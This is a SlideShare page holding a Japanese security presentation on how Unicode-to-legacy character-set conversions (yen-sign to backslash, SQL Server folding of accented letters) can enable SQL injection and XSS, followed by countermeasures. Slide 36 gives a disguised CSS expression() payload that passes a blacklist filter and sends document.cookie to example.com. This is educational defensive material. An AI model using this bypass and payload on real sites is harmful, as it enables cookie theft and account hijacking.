UnicodeによるXSSと SQLインジェクションの可能性

5,983 views

Published on

SQL Server使用時の文字コード変換の注意など

Published in: Technology
0 Comments
3 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
5,983
On SlideShare
0
From Embeds
0
Number of Embeds
849
Actions
Shares
0
Downloads
0
Comments
0
Likes
3
Embeds 0
No embeds

No notes for slide

UnicodeによるXSSと SQLインジェクションの可能性

  1. 1. Unicode による XSS と SQL インジェクションの可能性 HASH サルティング株式会社 徳丸 浩
  2. 2. 自己紹介
  3. 3. 今日は漢字の人です
  4. 4. 横浜で ちっちゃな会社 やってます
  5. 5. Web アプリが専門ですが、色々やります
  6. 6. WAF について書いたりしています
  7. 7. それでは始めます
  8. 8. 本日のテーマは
  9. 9. 文字コード
  10. 10. 文字コードって何 ?
  11. 11. 文字コード = 文字集合 + 文字エンコーディング
  12. 12. 文字エンコーディングネタは結構ある <ul><li>冗長な UTF-8 エンコーディング </li></ul><ul><ul><li>パストラバーサルなど </li></ul></ul><ul><li>半端な先行バイトによる XSS </li></ul><ul><li>UTF-7 による XSS </li></ul><ul><li>Shift_JIS の 5C 問題 </li></ul>しかし
  13. 13. 本日のテーマは
  14. 14. 文字集合
  15. 15. 文字集合って何 ? 文字通り,文字の集まり もじもじ
  16. 16. この辺があやしい
  17. 17. 特にやばそうなところ (*1) US-ASCII は 7 ビットのコードなので,最上位ビットを無視する結果, 0x25 すなわち「 % 」として扱われる (*2) 中黒(なかぐろ) 0x5C 0xA5 US-ASCII % (*1) JIS X 0201 ¥ ・ (*2) ISO-8859-1 ¥ Unicode ¥
  18. 18. 文字集合を変換すると ?
  19. 19. 多対一の変換が起こるかどうかは実装依存 <ul><li>ASP.NET </li></ul><ul><ul><li>「 」 U+00A5 -> ? </li></ul></ul><ul><li>Perl </li></ul><ul><ul><li>「 」 U+00A5 -> ? </li></ul></ul><ul><li>PHP </li></ul><ul><ul><li>「 」 U+00A5 -> ¥  ( 全角 ) </li></ul></ul><ul><li>Java </li></ul><ul><ul><li>「 」 U+00A5 -> (0x5C) </li></ul></ul>注目 10 万超の文字を変換して確認するだけの簡単なお仕事です
  20. 20. U+00A5 による SQL インジェクション (MySQL+JDBC) エスケープ( ' -> ' ' ) Unicode -> EUC-JP
  21. 21. U+00A5 による SQL インジェクション (MySQL+JDBC)
  22. 22. XSS はどうか ?
  23. 23. U+00A5 -> 0x5C の変換による XSS はあり得る
  24. 24. が, JavaScript を動的生成する場合などに限られる
  25. 25. 現実的に発生し得るが
  26. 26. そもそも JavaScript の動的生成ってどうよ orz
  27. 27. 他にないのか ?
  28. 28. SQL Server の例 <ul><li>SQL Server が Unicode で列の値を保存するための条件 </li></ul><ul><ul><li>列の型を nchar , nvarchar にする (char , varchar はだめ ) </li></ul></ul><ul><ul><li>文字列リテラルを N'....' と記述する ('....' ではだめ ) </li></ul></ul><ul><li>上記を怠ると, Unicode->CP932 への変換が起こる </li></ul>
  29. 29. CP932 と断定していいのか ?
  30. 30. 非 Unicode への変換が起こっていることは確かだが CP932 と 断定できない orz
  31. 31. SQL Server の例 <ul><li>SQL Server が Unicode で列の値を保存するための条件 </li></ul><ul><ul><li>列の型を nchar , nvarchar にする (char , varchar はだ め ) </li></ul></ul><ul><ul><li>文字列リテラルを N'....' と記述する ( '....' ではだめ ) </li></ul></ul><ul><li>上記を怠ると, Unicode->CP932 への変換が起こる っぽい </li></ul><ul><li>変換の例 </li></ul><ul><ul><li>è -> e </li></ul></ul><ul><ul><li>é -> e </li></ul></ul><ul><ul><li>ê -> e </li></ul></ul><ul><ul><li>ë -> e </li></ul></ul>
  32. 32. これをどう活用するか
  33. 33. か,活用かよ orz
  34. 34. 悪影響の例 :CSS の XSS 対策
  35. 35. ブラックリスト
  36. 36. XSS 対策が回避されるパターン <ul><li>元の入力 .main { color: è xp ®éßßïòñ (document.location= ”http://example.com?”+document.cookie); } </li></ul><ul><li>XSS 対策ルーチンを通るが </li></ul><ul><ul><li>è xp ®éßßïòñ はフィルタを回避される </li></ul></ul><ul><li>SQL Server に Insert 。その際に文字コード変換 .main { color: expRession(document.location= ”http://example.com?”+document.cookie); } </li></ul><ul><li>CSS を使って表示すると, JavaScript が実行され Cookie 値が漏洩する </li></ul><ul><li>はてなは EUC-JP だから大丈夫 ? (SQL Server でもない ) </li></ul>
  37. 37. 対策 <ul><li>異なる文字集合への変換を極力しない </li></ul><ul><li>どうしてもしなければならない場合もある </li></ul><ul><ul><li>wassr.jp のように, PC 向けは Unicode , 携帯電話向けは Shift_JIS の対応が必要なサイトなど </li></ul></ul><ul><ul><li>その場合は… </li></ul></ul>
  38. 38. 対策 <ul><li>異なる文字集合への変換を極力しない </li></ul><ul><li>どうしてもしなければならない場合もある </li></ul><ul><ul><li>wassr.jp のように, PC 向けは Unicode , 携帯電話向けは Shift_JIS の対応が必要なサイトなど </li></ul></ul><ul><ul><li>その場合は… </li></ul></ul><ul><li>続きは Web で </li></ul><ul><ul><li>ITpro Security で </li></ul></ul>
  39. 39. 第 5 回~第 6 回の 5 回で文字コード説明します
  40. 40. ご清聴ありがとうございました

×